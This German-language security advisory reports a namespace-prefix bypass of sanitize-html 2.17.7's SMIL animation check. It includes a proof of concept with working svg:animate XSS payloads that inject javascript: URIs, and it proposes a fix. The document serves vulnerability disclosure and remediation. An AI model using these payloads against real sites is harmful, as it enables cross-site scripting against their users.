ApostropheCMS sanitize-html: Umgehung des SMIL-Animations-Namespace-Präfix ermöglicht javascript: URI-Injection (XSS)

Zusammenfassung

sanitize-html 2.17.7 führte animatesUrlAttribute() ein, um SVG-Animationselemente (animate, animateColor, animateMotion, animateTransform, set) zu blockieren, wenn deren attributeName auf eine URL-Senke wie href abzielt. Diese Prüfung wird jedoch umgangen, wenn das Animationselement ein Namespace-Präfix verwendet (z. B. svg:animate anstelle von animate).

Ursache

Die Funktion animatesUrlAttribute (index.js, Zeile ~832) prüft svgAnimationTags.indexOf(name.toLowerCase()), wobei svgAnimationTags einfache lokale Namen enthält: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 übergibt Tag-Namen mit Namespace-Präfix unverändert, sodass svg:animate nicht mit animate im Array übereinstimmt. Dies führt dazu, dass die Funktion false zurückgibt und der SMIL-XSS-Schutz übersprungen wird.

Ironischerweise verarbeitet die Funktion Namespace-Präfixe für den Zielwert attributeName bereits korrekt (Zeile ~843): const localName = target.slice(target.lastIndexOf(":") + 1) – dieselbe Bereinigung wurde jedoch nicht auf den Tag-Namen selbst angewendet.

Proof of Concept

const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS

Alle 5 SMIL-Animationselemente können mit jedem Namespace-Präfix (svg:, xlink:, xml:, Varianten in Großbuchstaben) umgangen werden. Getestet und bestätigt auf sanitize-html 2.17.7 aus dem apostrophe-Monorepo.

Auswirkungen

Cross-Site-Scripting (XSS) über SMIL-Animations-Retargeting. Wenn eine Anwendung allowedTags: false verwendet (üblich in Rich-Text-Editoren, die SVG beibehalten möchten), kann ein Angreifer <svg:animate attributeName="href" values="#safe;javascript:..." .../> einschleusen, um das href-Attribut eines übergeordneten <a>-Elements nach dem Laden der Seite zu überschreiben, wodurch beim Anklicken des Links JavaScript ausgeführt wird.

Vorgeschlagene Behebung

Entfernen des Namespace-Präfixes aus dem Tag-Namen vor dem Lookup, analog zu dem Muster, das bereits für das Attributnamensziel verwendet wird:

// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {

Betroffene Versionen

sanitize-html >= 2.17.7 (wo der SMIL-Animationsschutz eingeführt wurde). Frühere Versionen verfügen überhaupt nicht über den SMIL-Schutz.

Danksagung

Kai Aizen (SnailSploit) — Adversarial AI & Security Research